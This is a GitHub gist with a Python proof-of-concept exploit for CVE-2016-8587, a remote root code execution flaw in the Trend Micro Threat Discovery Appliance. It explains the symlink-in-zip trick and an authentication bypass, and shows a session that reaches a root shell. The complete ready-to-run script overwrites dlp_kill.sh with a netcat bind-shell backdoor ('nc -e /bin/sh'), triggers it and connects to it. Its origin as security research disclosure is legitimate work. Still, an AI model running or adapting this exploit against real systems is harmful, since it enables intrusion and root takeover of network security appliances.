Created
April 11, 2017 07:48
-
-
Save malerisch/aac1ad3e6f3bfd70b35ba6538ecbff23 to your computer and use it in GitHub Desktop.
CVE-2016-8587 - Trend Micro Threat Discovery Appliance <= 2.6.1062r1 dlp_policy_upload.cgi Remote Code Execution Vulnerability
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/local/bin/python | |
""" | |
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 dlp_policy_upload.cgi Remote Code Execution Vulnerability | |
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/ | |
File: TDA_InstallationCD.2.6.1062r1.en_US.iso | |
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9 | |
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1 | |
Summary: | |
======== | |
The vulnerabity is that the dlp_policy_upload.cgi allows the upload of a zip file, located statically as: /var/dlp_policy.zip. | |
The problem is that we can then get that file extracted using admin_dlp.cgi. This gets extracted into 2 locations: | |
- /eng_ptn_stores/prod/sensorSDK/data/ | |
- /eng_ptn_stores/prod/sensorSDK/backup_pol/ | |
We can then use symlinks to craft a symlinked that points to /opt/TrendMicro/MinorityReport/bin/ | |
ls -la /eng_ptn_stores/prod/sensorSDK/data/si | |
lrwxrwxrwx 1 root root 35 Sep 3 01:22 /eng_ptn_stores/prod/sensorSDK/data/si -> /opt/TrendMicro/MinorityReport/bin/ | |
Then, all we do is create /eng_ptn_stores/prod/sensorSDK/data/si/dlp_kill.sh with malicious code and get it executed... | |
Notes: | |
====== | |
- For this particular PoC, all I did was exec a bind shell using netcat showing that there is no firewall protections... | |
- Auth is bypassed in case mr_me0410, so we can attack this with the default password... | |
Exploitation | |
============ | |
This is a clever trick, basically, we cant traverse since unzip checks for ../ (even though spec says its ok). | |
We can still exploit this however by extracting a symlink to say a directory and then write into that directory. | |
For example, if you wanted to link to /tmp you would | |
ln -s /tmp/ pwn | |
zip --symlinks -r foo.zip pwn | |
Now foo.zip contains the symlink to /tmp. Once this is extracted, the symlink will be written to disk. | |
All we need todo now is create another zip file with the folder and file... | |
zip -r foo.zip pwn/hax.txt | |
Now after extracting foo.zip, we will write hax.txt into /tmp. Of course, we can automate this magic via python. | |
So, in summary, the steps to attack this target are: | |
1. Bypass auth via case mr_me0410 | |
2. upload a zip with a symlink | |
3. trigger extraction, crafting the malicious symlink | |
4. upload another zip with the malicious dlp_kill.sh file | |
5. trigger extraction, the symlink fires and crushs /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh | |
6. trigger the execution of /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh via admin_dlp.cgi | |
Greetz to the busticati, you know who you are. My home boys. | |
saturn:trend_micro_threat_discovery_dlp_policy_upload_rce mr_me$ ./poc.py | |
(+) usage: ./poc.py <target> <pass> | |
(+) eg: ./poc.py 172.16.175.123 admin | |
saturn:trend_micro_threat_discovery_dlp_policy_upload_rce mr_me$ ./poc.py 172.16.175.123 admin123 | |
(+) logged into the target... | |
(+) performing initial preflight attack...! | |
(+) uploading the zipped symlink... | |
(+) successfuly uploaded the zipped symlink | |
(+) extracting the symlink... | |
(+) extracted the symlink! | |
(+) uploading the zipped dlp_kill.sh... | |
(+) successfuly uploaded the zipped log_cache.sh | |
(+) extracting the dlp_kill.sh to /opt/TrendMicro/MinorityReport/bin/... | |
(+) extracted the dlp_kill.sh file! | |
(+) starting backdoor... | |
(+) backdoor started ! | |
(+) dont forget to clean /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh ! | |
(+) run: sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh | |
id | |
uid=0(root) gid=0(root) | |
uname -a | |
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown | |
cat /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh | |
#!/bin/sh | |
kill `pidof sensorworker sensormain` | |
for i in `seq 0 4`; | |
do | |
sleep 1; | |
sid=`pidof sensormain` | |
if [ "$sid" -eq "" ]; then | |
break | |
else | |
if [ $i -eq 4 ]; then | |
kill -9 $sid | |
fi | |
fi | |
done | |
`nc -e /bin/sh -lp 2122>/dev/null` | |
sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh | |
cat /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh | |
#!/bin/sh | |
kill `pidof sensorworker sensormain` | |
for i in `seq 0 4`; | |
do | |
sleep 1; | |
sid=`pidof sensormain` | |
if [ "$sid" -eq "" ]; then | |
break | |
else | |
if [ $i -eq 4 ]; then | |
kill -9 $sid | |
fi | |
fi | |
done | |
exit | |
Cleanup: | |
======== | |
We just use "sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh" to remove the last line | |
of the script (the backdoor). | |
""" | |
import os | |
import sys | |
import time | |
import zipfile | |
import requests | |
import threading | |
from cStringIO import StringIO | |
requests.packages.urllib3.disable_warnings() | |
def _get_bd(): | |
bd = """#!/bin/sh | |
kill `pidof sensorworker sensormain` | |
for i in `seq 0 4`; | |
do | |
sleep 1; | |
sid=`pidof sensormain` | |
if [ "$sid" -eq "" ]; then | |
break | |
else | |
if [ $i -eq 4 ]; then | |
kill -9 $sid | |
fi | |
fi | |
done | |
`%s>/dev/null` | |
""" % c | |
return bd | |
def _build_zip(CREATE_SYMLINK=False): | |
""" | |
builds the zip file using a symlink attack into a folder... | |
so we symlink the /opt/TrendMicro/MinorityReport/bin/ directory | |
and then crush the dlp_kill.sh only to then later get it executed | |
resulting in rce as root. | |
""" | |
if CREATE_SYMLINK: | |
zipinfo = zipfile.ZipInfo() | |
zipinfo.filename = u'si' | |
zipinfo.external_attr |= 0120000 << 16L # symlink file type | |
zipinfo.compress_type = zipfile.ZIP_STORED | |
f = StringIO() | |
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED) | |
if CREATE_SYMLINK: | |
z.writestr(zipinfo, "/opt/TrendMicro/MinorityReport/bin/") | |
else: | |
zipinfo = zipfile.ZipInfo("si/dlp_kill.sh") | |
zipinfo.external_attr = 0777 << 16L # give full access to included filezipinfo | |
# backdooring code, as we do | |
z.writestr(zipinfo, _get_bd()) | |
z.close() | |
test = open('hax.zip','wb') | |
test.write(f.getvalue()) | |
test.close() | |
return f.getvalue() | |
def we_can_upload_a_zip(CREATE_SYMLINK=False): | |
""" | |
uploads a zip file with php code inside to our target for exploitation | |
""" | |
multiple_files = { | |
'Q_UPLOAD_ID': (None, ''), | |
'binary1': ('pwn.zip', _build_zip(CREATE_SYMLINK), 'application/zip'), | |
'submit': (None, 'Import') | |
} | |
r = s.post(upload_url, files=multiple_files, verify=False) | |
if r.status_code == 200: | |
return True | |
return False | |
def unzip(): | |
try: | |
r = s.post(unzip_url, data={"act":"save","upload_status":"0"}, verify=False) | |
except: | |
pass | |
return True | |
def we_can_login(): | |
r = s.post(login_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False) | |
if "frame.cgi" in r.text: | |
return True | |
return False | |
def main(): | |
global c, s, t, p, login_url, unzip_url, upload_url | |
if len(sys.argv) != 3: | |
print "(+) usage: %s <target> <pass>" % sys.argv[0] | |
print "(+) eg: %s 172.16.175.123 admin" % sys.argv[0] | |
sys.exit(-1) | |
t = sys.argv[1] | |
p = sys.argv[2] | |
bu = "https://%s/" % t | |
login_url = "%scgi-bin/logon.cgi" % bu | |
unzip_url = "%scgi-bin/admin_dlp.cgi" % bu | |
upload_url = "%scgi-bin/dlp_policy_upload.cgi" % bu | |
s = requests.Session() | |
# 1st we bypass auth and login | |
if we_can_login(): | |
# we just use a bind, demonstrating that the target doesnt even have a proper firewall! | |
c = "nc -e /bin/sh -lp 2122" | |
print "(+) logged into the target..." | |
print "(+) performing initial preflight attack...!" | |
print "(+) uploading the zipped symlink..." | |
# 2nd we upload symlink attack | |
if we_can_upload_a_zip(CREATE_SYMLINK=True): | |
print "(+) successfuly uploaded the zipped symlink" | |
print "(+) extracting the symlink..." | |
# 3rd we extract it | |
unzip() | |
print "(+) extracted the symlink!" | |
time.sleep(2) # let the server process things | |
print "(+) uploading the zipped dlp_kill.sh..." | |
# 4th we upload the backdoor | |
if we_can_upload_a_zip(CREATE_SYMLINK=False): | |
print "(+) successfuly uploaded the zipped log_cache.sh" | |
print "(+) extracting the dlp_kill.sh to /opt/TrendMicro/MinorityReport/bin/..." | |
# 5th extract the backdoor, crushing /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh | |
unzip() | |
print "(+) extracted the dlp_kill.sh file!" | |
print "(+) starting backdoor..." | |
# 6th we trigger the exec of /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh | |
thread = threading.Thread(target=unzip, args=()) | |
thread.daemon = True | |
thread.start() | |
print "(+) backdoor started !" | |
print "(+) dont forget to clean /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh !" | |
print "(+) run: sed -i '$ d' /opt/TrendMicro/MinorityReport/bin/dlp_kill.sh" | |
time.sleep(2) | |
os.system("nc %s 2122" % t) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment